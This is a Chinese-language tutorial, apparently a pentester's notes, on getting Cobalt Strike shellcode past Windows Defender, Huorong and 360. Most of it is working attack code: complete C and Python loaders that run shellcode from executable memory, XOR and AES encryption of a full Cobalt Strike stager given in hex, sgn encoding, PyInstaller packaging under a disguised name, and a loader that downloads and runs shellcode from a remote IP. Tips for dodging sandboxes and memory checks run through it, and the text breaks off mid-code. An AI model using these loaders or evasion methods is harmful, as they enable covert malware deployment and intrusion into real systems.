CobaltStrike免杀实践汇总

CobaltStrike免杀实践汇总

写在前面这两个月内网渗透接触的较多,大多公开的内网渗透靶场(如云镜)环境中都没有设置免杀,CS很轻易就可以连上,但是实战中Windows defender,火绒,360绕不过去,遂于5.18-5.30这12天仔细研究了一下CS免杀,做了一些笔记和总结,希望能形成自己的体系,弥补在免杀知识这一方面的空白。当然,我目前和下文所掌握和提及的免杀技术只不过是皮毛,更深入的免杀还需要深入学习windows底层和逆向工程方面的知识,共勉。

Shellcode与加载器Shellcode基础什么是shellcodeshellcode是一种特殊的二进制代码,这类二进制代码成功利用后会获取目标系统shell的权限

1通常将二进制代码 => 16进制代码 \xfc\x48\x83

shellcode文件shellcode通常以二进制个数存储,它由CPU直接执行

一个成功运行的大体流程:

1exe文件 -> 硬盘 -> 把exe内容读取到内存中 -> 将要执行的代码转换成二进制指令 -> cpu运行 -> 程序运行产生的数据都在内存中

shellcode如何运行借助shellcode加载器在目标机器中运行

CS的shellcode生成

选择想要生成的语言即可

Shellcode加载器什么是shellcode加载器帮助shellcode文件/16进制字符串shellcode运行的工具

如何编写shellcode加载器使用windows api

(1) 申请内存

(2) 把shellcode复制到这块内存中

(3) 想办法让这块内存中的shellcode被cpu执行

VirtualAlloc函数申请内存

VirtualAlloc 是 Windows API中用于分配/申请、保留/提交内存区域的函数

123456VirtualAlloc( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect )

参数含义:

(1) IpAddress: 指定分配/保留的内存区域的首选基地址,若参数为NULL,则系统会自动选择适当的地址,所以一般都写NULL即可,也可以写0

(2) dwSize: 指定分配区域的内存的大小,以字节为单位

(3) flAllocationType: 指定内存的分配类型

通常使用 MEM_COMMIT|MEM_RESERVE 的方式进行使用

(4) flProtect: 指定内存的保护属性

直接给满权限 -> 可读可写可执行 -> PAGE_EXECUTE_READWRITE

memcpy函数复制shellcode到申请的内存区域中

用于将内存块中的内容从一个位置复制到另一个位置

12345void* __cdecl memcpy( _Out_writes_bytes_all_(_Size) void* _Dst, _In_reads_bytes_(_Size) void const* _Src, _In_ size_t _Size );

(1) void* _Dst: 指向目标内存区域的指针,即复制操作的目标位置

(2) void const* _Src: 指向源内存区域的指针,就是复制的目标

(3) size_t _Size: 要复制的字节数,直接 sizeof(buf) 即可

CreateThread用于创建线程的函数

12345678CreateThread( _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ __drv_aliasesMem LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId );

需要关注的参数

IpStartAddress: 写我们申请的内存地址,注意:需要进行类型转换

剩下的一律写NULL

C语言加载器完整代码123456789101112131415161718192021222324252627//1、申请内存//2、拷贝 shellcode 到内存//3、执行内存中的shellcode#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口//main函数,程序入口函数void main() { /* length: 892 bytes */ unsigned char buf[] = "\xfc\x48\x83..."; //1、申请内存 LPVOID addr = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); //2、拷贝 shellcode 到内存 memcpy(addr, buf, sizeof(buf)); //3、执行内存中的shellcode //创建线程执行 HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); //等待线程运行 WaitForSingleObject(hThread, -1); //关闭线程 CloseHandle(hThread);}

运行生成exe执行后,便可CS上线了。

Visual Studio配置

Python语言加载器不同的编程语言的免杀效果是不一样的

完整代码123456789101112131415161718192021222324252627282930import ctypes# ctypes.windll.kernel32中存放windows api# 获得windows api中的Virtualloc函数VirtualAlloc = ctypes.windll.kernel32.VirtualAllocRtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemoryCreateThread = ctypes.windll.kernel32.CreateThreadWaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject# 1.申请内存# b""转换成字节类型buf = b"\xfc\x48\x83..."# 还需要转换成字节数组类型shellcode = bytearray(buf)# 重载函数返回类型为c_uint64VirtualAlloc.restype = ctypes.c_uint64# 申请内存addr = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x1000|0x2000, 0x40)# 2.将shellcode复制到刚刚申请的内存中buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)RtlMoveMemory(ctypes.c_void_p(addr), buf, ctypes.c_int(len(shellcode)))# 3.创建线程thread = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(addr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))WaitForSingleObject(ctypes.c_int(thread), ctypes.c_int(-1))

python打包exe安装环境

12pip3 install pyinstallerpip3 install pyinstaller==5.8.0

打包命令

1pyinstaller -F -w demo1.py

-F: 打包成一个exe文件

-w: 不显示黑窗口,也可以用–noconsole参数

-i: 指定图标,.ico文件/.exe文件

-n: 指定打包好的文件名

–clean 清除上一次打包的文件

–key cjiurfe11a 混淆代码功能 (需要安装 pip3 install tinyaes)

1pyinstaller -F -w demo1.py -i "D:\Chanzi-SAST\ChanziSAST.exe" -n qqmusic --clean --key xxxx

Shellcode免杀免杀免杀的方法有哪些123456781、加壳2、shellcode混淆,加密3、各种语言的加载器:C++、python、go、rust等等4、分类免杀(远程加载),shellcode和加载器不写在一个文件中,远程加载等等5、白加黑(百名但程序执行恶意样本)6、使用github上的一些免杀工具7、自己写加载器,通过一些冷门的加载方式运行shellcode8、自己写/二开远控等等

杀软常用网站12345671、测试样本查杀网站,调用很多杀软的引擎进行查杀若免杀样本需要在实战中使用,不要向vt上上传,因为可能会标记http://virustotal.comhttp://virscan.org2、云沙箱http://s.threatbook.com 微步云沙箱

静态查杀通常使用病毒特征库,从**”特定代码片段”、”独特的字符串”、”文件结构”**等几个方面,若文件中的这些特征和病毒特征库匹配,则认为其是木马病毒。

代码中的函数如windows api函数,和内存、堆、线程相关的函数

1virtualalloc, rtlmovememory, createthread等等

注:同一个windows api函数,不同的编程语言,可能杀C不杀python

shellcode特征CS shellcode特征如 \fc\x48\x83

文件名和md5所有以tgp_daemon.exe为名的程序一律被判定为银狐木马

每个文件都有一个md5 hash

1CertUtil -hashfile 文件路劲 md5

当样本被查杀时,hash值会被记录下来,下次再扫描时就会直接报毒

当样本免杀了,hash值同样会被记录下来,下次就不会再扫描这个样本了,就实现了永久免杀

加密使用加解密行为或者加壳行为可能会被杀软报毒

数字签名白程序都是有数字签名的,某些杀软会看这个exe的数字签名是否合法

以百度网盘为例

资源文件杀软会查看exe的资源文件是否为空

动态查杀杀软有云沙箱,相当于开一个虚拟机运行你上传的恶意样本,通过分析程序指令出现的顺序/特定的组合情况以及所调用的函数及其参数是否属于恶意行为特征,来判断是否是病毒。

网络相关1234567查找会连的ip/域名是否之前被标记成cs远控通信流量内容内容特征:数据包中是否存在命令控制相关的关键词/加密特征结构特征:是否存在已知远控的通讯结构特征,比如某些远控会追加\x00\x00\0x00\x00这样的空字节有的CS一上线执行命令就被杀,很可能就是流量特征被查杀了。

内存相关1234567891、内存中存在的特征码 - 可以修改ReflectiveLoader(CS中的), beacon.dll等2、内存相关的属性rwx(shellcode,申请了可读可写可执行的内存),一般为rw绕过方法:先申请一块可读可写的权限的内存,等程序运行一段实践之后再将其改成可以执行的权限,就可以绕过对内存属性的检查3、上线后,执行shell whoami后被杀因为,shell whoami的原理是起一个cmd子进程运行,有的杀软会直接查杀不正常的进程链

360云传将样本上传到云沙箱进行运行、分析检测

Shellcode处理shellcode加解密CS十六进制数值特征:FC4883E4F0E8C800000041

杀软一下子就会扫到这种特征,所以需要加密

异或加密异或是一种二进制位运算,相同为0,不同为1,不做详细解释了。

python加密代码

123456789101112131415161718192021222324252627282930313233# 定义异或加密函数,接收原始shellcode和密钥作为输入def xor_encrypt(shellcode, key): encrypted_shellcode = bytearray() key_len = len(key) # 遍历shellcode中的每个字节 for i in range(len(shellcode)): # 将当前字节与密钥中相应字节进行异或操作,然后添加到加密后的shellcode中 # 这段代码中的i % key_len操作用于确保在对shellcode进行异或加密时,密钥循环使用 encrypted_shellcode.append(shellcode[i] ^ key[i % key_len]) return encrypted_shellcodedef main(): # CS生成的shellcode buf = b"\xfc\x48\x83..." shellcode = bytearray(buf) # 定义密钥 key = bytearray(b'henry') # 使用xor_encrypt函数加密shellcode encrypted_shellcode = xor_encrypt(shellcode, key) # 输出加密后的shellcode print("Encrypted shellcode:") encrypted_shellcode_string = "" for byte in encrypted_shellcode: encrypted_shellcode_string += ("\\x%02x"%byte) print(encrypted_shellcode_string)if __name__ == '__main__': main()

然后在C语言中解密shellcode并生成exe

123456789101112131415161718192021222324252627282930313233#include //导入windows api和一些常量#include #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口//main函数,程序入口函数void main() { //异或加密后的shellcode unsigned char encryptShellcode[] = "\x94\x2d\xed..."; //解密密钥 char key[] = "henry"; //定义一个用于储存解密后shellcode的数组 unsigned char decryptShellcode[sizeof(encryptShellcode)]; //进行异或解密 for (int i = 0; i < sizeof(encryptShellcode); i++) { decryptShellcode[i] = encryptShellcode[i] ^ key[i % (strlen(key))]; } //1、申请内存 LPVOID addr = VirtualAlloc(NULL, sizeof(decryptShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //2、拷贝 shellcode 到内存 memcpy(addr, decryptShellcode, sizeof(decryptShellcode)); //3、执行内存中的shellcode //创建线程执行 HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); //等待线程运行 WaitForSingleObject(hThread, -1); //关闭线程 CloseHandle(hThread);

测试可以正常上线并执行命令

上面尝试的是一次异或,还有可能出现一次异或不免杀,但是多次异或免杀的情况。

也可以将shellcode进行base64编解码进行加密。

AES加密借用写好的C++实现的AES算法:https://blog.csdn.net/witto_sdy/article/details/83375999

自己编译了一个AES加密shellcode的exe程序,用法如下所示,shellcode字符串保存在shellcode.txt中

1234E:\免杀\shellcode_AES\x64\Release>shellcode_AESencrypt.exe shellcode.txt字符串类型shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300AES加密shellcode: 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AES解密shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300

实现代码

123456789101112131415161718192021222324252627282930313233343536373839#include #include #include #include "aes.h"#include "Base64.h"#include "doAes.h"#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口void main() { //encbuf为AES加密后的shellcode字符串 string encbuf = "R40EhbDwj5jt8m3+I4fffVYkiWaT0lsleSbIhcuTmsw4hhlpz3qBzvkOF+XErJ1WIRu4O2DxEQw1ha96wkT1jSk8bNivq/t6zWSSH76SL0SZ67hJqtcgk1tR/CtZwOX2n10YQ89lm7yohoaJZlpOZvNpy7hIYYH9IyAW6Uyd85IrcJPNgtwFIzkF+BSOD6z2F5JGeHLh8/EmsYlbx2H+BHtwyGPWTQBwhF9W2+NfcYFrR0IyJHFAiLFIKQDcn2wu39lc4IbYaP4rTbYj6k6oourqgNRNrOV50DZk2pXWg6PXFlZbH1wAZ9HyA7tbdPAH1hWhuIRFJU57YMre72dMHo3Mh8NsNyGF7QSYNvpIgyoMHchAEZFOb5HoD3LTkojacdNfYpnCy5RZS2XkUSehsaV5eX+kPuCFQ1jDZ1LYhl5BlyLyCrH2Ph2bqAQYw3HxlRR6JRyzamneMt5TlHtHWO2MBbNDdEg/E7hHgyWjBw9N/yw1/6UFCP/E1wsPbPADOty3q0Wn/V2TWsG7LMyQlLP8jQyD6lBjA8+7uOXulMg2IycCNzz7A4atD60uKTN8+IjM/sJUANkn6cmsylGpwQNsyxZQxK7dPFByPqdSx6OXxF0RbzXyKA5SUPbO0xZnjmj8+v2QJnf5nv2pywOKJyGuSq08tFfN1GXiNOsSzSdQr4HbHBsAVWLxagrrO/7bZTo042rAsRPBqiX7cl/XpwMn91NT0K0eUJXpDU30J/uPqXW9qKXJ3KdS240ORqGCLwTRM1n/6uSMHaM5rP6f8d9X0kQ4uXCl10SGXnPhStuO215wktkV8NmIF1bKEDo7eqgiB+tzTXGMIokpoSUgnaZvzcyf1MVd9L/4K9/Mz2Lb1fn+61XnKlJNsHj+mqH21gE9sjw2kR4p/Ec1/T/aVQqIYgMSO2G943KmjcGUEA/T5OON1UZJA3WWxgPICQKNr9/5PQa6Hu0tfvs/i5+T/Pw+53qm93RpVJBMg9Gs0uSFmdgCF4wxG5DvWzNcxaWWllajQpDQtzyRHDauDt4cTL17negPFmgfZu+q6GieGQewwmO5bHY7KOuuQZxqSPOzCn4sauvUoO54ZmxQjI1NaKWzEbT9FgLRbRbSvM9KDL3XZoCUhoQC/M6JR6EUBi5AuPbd5qIAJwsnt87C9HqZo1eOq1uryQYRXuCWBqBNwqOd31pfbZf4xffKfF3dm4SnRj+XZG60cM4ZqwykyDsK8YeFVBw00Cf0Oas0fhpUdjHQDGQ41YDK82nDZrTASkwmP138a/piiNjPAyao2lQhHROAI43Uc0IfDupwfxw+QUyMku3/4uCCHqVseL473KDnU7pT16S9VNwK5nHPNCAwh2kixph3RSgnjTu35BF4nCFOTyZLNXdMoshH3Iu5tRywo3X4ygq4SVcnNfKDqvOt1873b5jk1sj1QsN5hr5RX/AZ6wx+wXVRt8kySyknUyAaiP0IaNtYVg9uIqIX0+VKMOLQz5CLW3c/SEV3ANP3NIiu7luTQi7sjTKwoWiGin9mTlnGVBoDdAxpXEPqHmWuLavOn1o3eq4Ot2/horHLRML9sd3nn+nV3WY956kwE7d8z3G4D26uAP9zedir8FyG/CgCRCj8Vx1zSZzz8lael4AXm47vVx7uCgzInXZkbNfefdn3IEvm/IWLaqwmDpguvboUNJXRc57Yr/Spwz4a0bNw+GIk+QFye8J2TcCgXEvvevyo3kKdvSIJtdpi2nRe2YRSuJz6JBX9Hw3H2ejDHmnUAaPHnhpiw8Zl0nYVrT3qoDI0rrauz6mdnr3mWyG2T36x9SsMCHOVCdd/E20UzJQ7k1rZno9xkOIwL8CA0I+FSj2Q8ALNI7KNfprooiozli1Co3fGJ808j/o6H5RT29T5PiG7XxszGX0xfmeMNjipTdfDrGv9y6RnmCDfcBvqeHTDLxwL+odAS60PDKQCKnWA5RWrgSL5jRCfhjnl47zgHMufrp0ZNV5433Hc1EiKRflRx460re/A1rVkL48F4KTVMCd9ZJ+XNzl3wHvQALOmaEAm99FAC9Vs2BHVv+9WtpAqMJLr7VVOtMf5k20iGgib+VRzbyOxxm1LdPSbnP8jz1WbmSqQCsOCXkoR4EDoLC2Y8ZW3LAcPVZubeRm7Qr4ejFBAckst3pvcwZ2q6OMjAx9XQtOEDP8l7pl35h5hsm+ixNLJ9eE+6t/cmtD7Xb0J9b88MKyAWC8mxfrbzkb2Tpuyq510zCx2LJ3uhejj4B7gpt8ERbDVBB4jiNzd7CxcNodGAMxjBdtq5xdulxvVWs87iDO3dj8Fw9s8daY6U8hHqUnvm3tyvfCvo0g2VLstv0dCBZOjanGDXoazG7irItqROrGnD4PT1iayInrC7g=="; //解密aes加密后的encbuf string decbuf = DecryptionAES(encbuf); cout << "解密后的字符串为:" << decbuf << endl; std::vector tmp = HexStringToShellcode(decbuf); // 分配固定大小数组(确保大小足够) unsigned char buf[4096]; // 假设最大不会超过4096字节 memcpy(buf, tmp.data(), tmp.size()); size_t buf_len = tmp.size(); cout << "回复后的shellcode数组为" << buf << endl; //1、申请内存 LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //2、拷贝 shellcode 到内存 memcpy(addr, buf, sizeof(buf)); //3、执行内存中的shellcode //创建线程执行 HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); //等待线程运行 WaitForSingleObject(hThread, -1); //关闭线程 CloseHandle(hThread);}

生成后点击成功上线CS

但是过火绒失败,悲。。

shellcode内存加解密sgn工具,所有工具都检测不出来shellcode

https://github.com/EgeBalci/sgn/releases

命令使用

1sgn.exe -a 64 -c 1 -o pd_x64_stag.bin -i payload_x64_stag.bin

1234-a:64位-c:编码轮数-o:编码后的文件-i:编码前的文件

完全去除了shellcode的特征,对shellcode做到了完全免杀

因为是内存加解密,所以不需要在代码中写解密函数了。

首先将pd.bin转换成十六进制,python代码如下:

1234567891011121314151617def bin_to_hex_escape(file_path): with open(file_path, 'rb') as f: content = f.read() hex_escape = ''.join([f'\\x{byte:02x}' for byte in content]) return hex_escape# 示例用法input_file = 'E:\免杀\免杀工具\sgn\pd.bin'result = bin_to_hex_escape(input_file)# 打印或保存结果print(result)# 如果想写入一个 .txt 文件:with open('output.txt', 'w') as out: out.write(result)

编译成exe自用

使用C++ shellcode加载器加载,生成shellcode.exe执行

1234567891011#include #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")void main() { unsigned char buf[] = "\xe8\xa8\x03..."; LPVOID addr = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); memcpy(addr, buf, sizeof(buf)); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread);}

成功上线CS

但是火绒依然报毒。。。但是已经可以排除shellcode的问题了,有可能是代码结构、数字签名、资源文件等问题了。

shellcode分离本地分离将shellcode以文件读取的方式写入,C++加载器加载运行

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#include #include #include #include #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")int main() { char fileName[] = "conx.bin"; FILE* file; if (fopen_s(&file, fileName, "rb") != 0) { perror("Failed to open the code file"); return 1; } fseek(file, 0, SEEK_END); long size = ftell(file); fseek(file, 0, SEEK_SET); char* code = (char*)malloc(size); if (!code) { perror("Failed to allocate memory for code"); fclose(file); return 1; } // 读取内容进 code 数组 size_t bytesRead = fread(code, 1, size, file); if (bytesRead != size) { perror("Failed to read full file content"); free(code); fclose(file); return 1; } fclose(file); printf("读取成功!文件内容如下:\n\n"); for (long i = 0; i < size; i++) { printf("%02X ", (unsigned char)code[i]); if ((i + 1) % 16 == 0) printf("\n"); // 每16个字节换行 } printf("\n"); LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); memcpy(addr, code, size); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread); free(code);}

conx.bin 就是 payload.bin,心理作用改个名,怕杀软看到payload字样直接给杀了。

测试运行,CS成功上线

火绒成功免杀

免杀马要保存好,如果是记录哈希那种的杀软,过了一次之后就可以实现永久免杀了。

网络分离12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182#include #include #include #include #include #include #include #pragma comment(lib, "winhttp.lib")#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")// 解析带 \x 的字符串为字节数组std::vector parseEscapedShellcode(const std::string& input) { std::vector output; for (size_t i = 0; i < input.length(); ++i) { if (input[i] == '\\' && i + 3 < input.length() && input[i + 1] == 'x') { std::string byteStr = input.substr(i + 2, 2); unsigned char byte = static_cast(std::stoul(byteStr, nullptr, 16)); output.push_back(byte); i += 3; // skip over this sequence } } return output;}int main() { LPCWSTR host = L"101.42.13.105"; LPCWSTR path = L"/pd.txt"; std::string rawData; DWORD size = 0, downloaded = 0; LPSTR buffer; BOOL success = FALSE; HINTERNET hSession = WinHttpOpen(L"MyApp", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); HINTERNET hConnect = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTP_PORT, 0); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) && WinHttpReceiveResponse(hRequest, NULL)) { do { size = 0; if (!WinHttpQueryDataAvailable(hRequest, &size) || size == 0) break; buffer = new char[size + 1]; ZeroMemory(buffer, size + 1); if (WinHttpReadData(hRequest, buffer, size, &downloaded)) { rawData.append(buffer, downloaded); } delete[] buffer; } while (size > 0); success = true; } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); if (!success) { std::cerr << "[-] 下载失败" << std::endl; return 1; } // 清除所有空白字符 rawData.erase(std::remove_if(rawData.begin(), rawData.end(), [](unsigned char c) { return std::isspace(c); }), rawData.end()); std::cout << "读取内容字符串为:" << rawData << std::endl; // 解析 \x 表示的字符串为字节数组 std::vector shellcode = parseEscapedShellcode(rawData); // 分配内存并执行 LPVOID addr = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT 